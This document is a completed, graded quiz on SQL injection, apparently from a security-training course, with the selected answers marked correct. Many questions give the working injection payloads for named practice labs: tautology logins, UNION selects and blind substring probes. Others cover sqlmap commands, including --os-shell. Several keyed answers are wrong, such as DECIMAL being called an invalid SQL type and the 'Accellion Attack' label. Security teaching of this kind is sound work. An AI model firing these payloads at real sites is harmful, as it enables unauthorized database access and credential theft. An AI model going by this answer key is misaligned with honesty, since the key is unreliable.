✓ Which of the following payload helped you to solve the lab Strings & Errors Part 1? * 1/1

○ 1'OR'1'='1

○ 1`OR`1`=`1

● 1"OR"1"="1 ✓

○ All of the above

✓ Identify the payload which would list out all the email ids and password from lab Strings & Errors Part 2 * 1/1

● 1' or 1=1 -- ✓

○ 1" or 1=1 --

○ 1" AND 1=1 --

○ None of the Above

✓ To solve lab Strings & Errors Part 3 the payload is ____________ * 1/1

○ 1') or 1=1 --

○ 1" OR 1=1 --

○ 1" or 1=1 --

● Both B and C ✓

✓ Which of the following payload would be helpful to login into the lab Let's Trick 'em! * 1/1

● 1' || '1'= '1 ✓

○ 1' OR '1'= '1

○ 1' AND '1'= '1

○ 1" || "1"= "1

✓ To retrieve email and password from lab Booleans and Blind! which of the following query is suitable * 1/1

○ 1'

● 1' AND (ascii(substr((select database()) ,3,3)) = 108 –+ ✓

○ 1"

○ Both A and C

✓ Lab Error Based : Tricked can be solved by ?? * 1/1

○ 1" AND "1"="1

○ 1' AND '1'='1

● ") or ("1")=("1 ✓

○ 1' OR (ascii(substr((select database()) ,2,2)) = 100

✓ To successful login into lab Errors and Post! Which payload would be accurate? * 1/1

○ 1`OR`1`=`1

○ " OR "1"="1

○ " AND "1"="1

● ' OR '1'='1 ✓

✓ Lab User Agents lead us! which payload is correct ? * 1/1

○ ' or '1'='1

○ ' OR '1'='1

○ " AND "1"="1

● Both A and B ✓

✓ In lab Referrer lead us! Which of the following parameter is vulnerable to SQL Injection ? * 1/1

○ User Agent

○ Cookies

● Referrer ✓

● Referrer ✓

○ None of the Above

✓ To solve lab Referrer lead us! the payload is ____________ * 1/1

○ " AND "1"="1

● ' OR '1'='1 ✓

○ " OR "1"="1

○ Both B and C

✓ Which of the following payload is suitable to solve lab Oh Cookies! ? * 1/1

○ admin' OR '1'='1 #

○ ' union select 1, database(),version() #

● Both A and B ✓

○ None of the Above

✓ In lab WAF's are injected! Which of the following lead to trigger the WAF (Web Application Firewall) * 1/1

○ Number

● Alphabet ✓

○ Quotations

○ Both A and C

✓ Identify the payload which would perform a successful SQL injection attack on lab WAF's are injected! * 1/1

● 2'union select 1,user(),6--+ ✓

○ 3" or "1"="1

○ 2" AND "1"="1

○ None of the Above

✓ Lab WAF's are injected Part 2! which payload is correct ? * 1/1

○ 2' union select 1,user(),8--+

○ 2" union select 1,user(),8--+

○ 2') union select 1,user(),8--+

● 2") union select 1,user(),8--+ ✓

✓ SQL stands for _______________ * 1/1

○ Standard Query Langauage

● Structured Query Language ✓

○ Sample Query Language

○ Structured Questioning Language

✓ Which of the following is not a valid SQL data type ? * 1/1

○ BIGINT

○ VARCHAR

● DECIMAL ✓

○ INT

✓ Which of the following command is a Data Definition Language (DDL)? * 1/1

○ CREATE

○ TRUNCATE

○ ALTER

● All of the Above ✓

✓ How many PRIMARY keys a table in SQL can have ? * 1/1

○ At the most 3

○ Depends on no. of columns

● Only 1 ✓

○ N no. of keys

✓ Which of the following is not a Data Manipulation Language (DML) command ? * 1/1

● COMMIT ✓

○ UPDATE

○ Both A and B

○ INSERT

✓ _______ is a SQL command used to retrieve data from the table. * 1/1

○ SHOW

● SELECT ✓

○ ALTER

○ UPDATE

✓ Under which of the following section of OWASP Top 10 2013 the SQL Injection attacks falls ? * 1/1

○ Broken Authentication Session Mismanagement

○ Insecure Direct Object Reference

● Injection ✓

○ Security Missconfig

✓ While performing SQL injection attack the attacker injects _______ into input field which is later passed to instance of SQL server * 1/1

○ Clean

○ Non Malicious

○ Redundant

● Malicious ✓

✓ _________ injection attacks deals with the SQL Databases Queries. * 1/1

○ LDAP

● SQL ✓

○ OS

○ HTML

✓ Error-Based SQLI is a sub variant of which of the following? * 1/1

● In-Band SQLI ✓

○ Inferential (Blind) SQLI

○ Out-of-band SQLI

○ None of the Above

✓ From the following given options are most vulnerable to SQL Injection attacks? * 1/1

○ Network Communications

● SQL based queries on user input ✓

○ Session Ids

○ JWT Tokens

✓ What is the first step of attackers to check for a SQL Injection attack can be done or not ? * 1/1

○ Directly runs SQL query onto the website

○ Search for SQL injection impacted on search engines

○ Both A and B

● Identify invalidated parameter and run SQL query ✓

✓ The part of an SQL relational database that is most frequently used when carrying out SQL injection attacks is the _____. 1/1

○ Log files

○ Frontend

● Backend ✓

○ Password files

✓ SQL Injection which relies on SQL errors on to the screen are called as ___________ . 1/1

○ Out-of-Band Injection

○ Boolean Based Injections

○ Time-Based Injection

● Error-Based Injection ✓

✓ Which of the following is a Time-Based SQL Injection attack? * 1/1

○ Error-Based SQL Injection

● Blind SQL Injection ✓

○ Union-Based SQL Injection

○ None of the Above

✓ Can a successful SQL injection attack lead an attacker in gaining the administrative rights to a database. * 1/1

● TRUE ✓

○ FALSE

✓ A SQL injection which fuses multiple select statements generated by the database to get a single HTTP response. * 1/1

○ Boolean Based Injection

○ Time Based Injection

● Union-Based Injection ✓

○ Error-Based Injection

✓ Out-of-Band SQLI is performed when the attacker cannot use the same ________ to gather information. * 1/1

○ Query

○ Input String

○ Server

● Channel ✓

✓ Which of the following tool would be helpful to perform SQL injection attack * 1/1

○ waybackurls

● sqlmap ✓

○ wfuzz

○ kxss

✓ Which type of SQL Injections forces a database to wait for a specific amount of time before responding * 1/1

○ Union-based SQL Injection

● Time Based SQL Injection ✓

○ Error-Based SQL Injection

○ Out-of-Band SQL Injection

✓ In sqlmap tool which command helps you to list out table entries from a selected database ? * 1/1

● dump ✓

○ dbs

○ column

○ tables

✓ The severity of SQL Injection varies from ____ to ____ depending on what kind of Data is exposed and if access to shell acquired or not. * 1/1

○ P4,P5

○ P3,P4

● P1,P2 ✓

○ P2,P3

✓ Which of the following custom injection marker to point each potential vulnerable parameter. * 1/1

● * ✓

○ /

○ ;

○ :

✓ State whether True or False. A web application is vulnerable to SQL injection attack the Confidentiality and the Integrity of the web application would not be damaged. * 1/1

○ TRUE

● FALSE ✓

✓ Which of the following is a correct syntax of the command to perform SQL injection via sqlmap? * 1/1

○ sqlmap -u "url?id=1*" --dbs --batch --banner -D database_name --t table_name --columns

● sqlmap -u "url?id=1*" --dbs --batch --banner -D database_name -T table_name --columns ✓

○ sqlmap -u "url?id=1*" --dbs --batch --banner -D database_name --T table_name --

○ sqlmap -u "url?id=1" --dbs --batch --banner -D database_name --T table_name --columns

○ None of the Above

✓ What does the batch command in sqlmap mean? * 1/1

○ Identifies the version of database

● It answers YES to all questions ✓

○ Identifies Tables

○ Identifies Databases

✓ Which of the following are the impacts of SQL injection * 1/1

○ Integrity

○ Authentication

○ Non-Repudiation

● Both A and B ✓

✓ For a parameterized query to be effective in preventing SQL injection, the string that is used in the query must always be a hard-coded constant, and must never contain any variable data from any origin. * 1/1

● TRUE ✓

○ FALSE

✓ SQL injection attack when combined with OS command injection is called as ____________ * 1/1

○ Cross-Site Scripting

● Accellion Attack ✓

○ LDAP Injections

○ Server Side Request Forgery

✓ What does the banner command in sqlmap mean? * 1/1

○ It answers YES to all questions

○ Dumps the tables into a file

● Identifies the version of database & web technology ✓

○ Identifies Columns

✓ SQL Injection can also be escalated to compromise the underlying server or perform a ______ attack. * 1/1

● Denial of Service (DoS) ✓

○ Local File Inclusion (LFI)

○ Server-Side Request Forgery (SSRF)

○ Cross-Site Scripting (XSS)

✓ ___________ problem arises if poor SQL commands are used to validate the usernames and passwords. * 1/1

○ Non-Repudiation

● Authentication ✓

○ Availability

○ None of the above

✓ To prevent and mitigate SQL injection which of the following would be helpful? * 1/1

○ Avoid filtering the Inputs

● Sanitize the Inputs ✓

○ Use X-Frame-Options header

○ None of the above

✓ Will the following command `sqlmap -u "url?id=1*" --dbs --batch --banner -D database_name -T table_name --columns --os-shell` help you gain access to SQL shell if the website is vulnerable to SQL Injection ? * 1/1

○ TRUE

● FALSE ✓

✓ Along with filtration of user inputs __________ is commonly used to filter out SQLI as well as other few attacks. * 1/1

○ Web Server

○ Load Balancers

● Web Application Firewall (WAF) ✓

○ All of the above

✓ What does the command level=3 refers to in sqlmap tool? * 1/1

○ It identifies the version of database and web technology

○ Identifies the columns of tables in database

● It will crawl all the endpoints without triggering the WAF ✓

○ It will send special crafted payload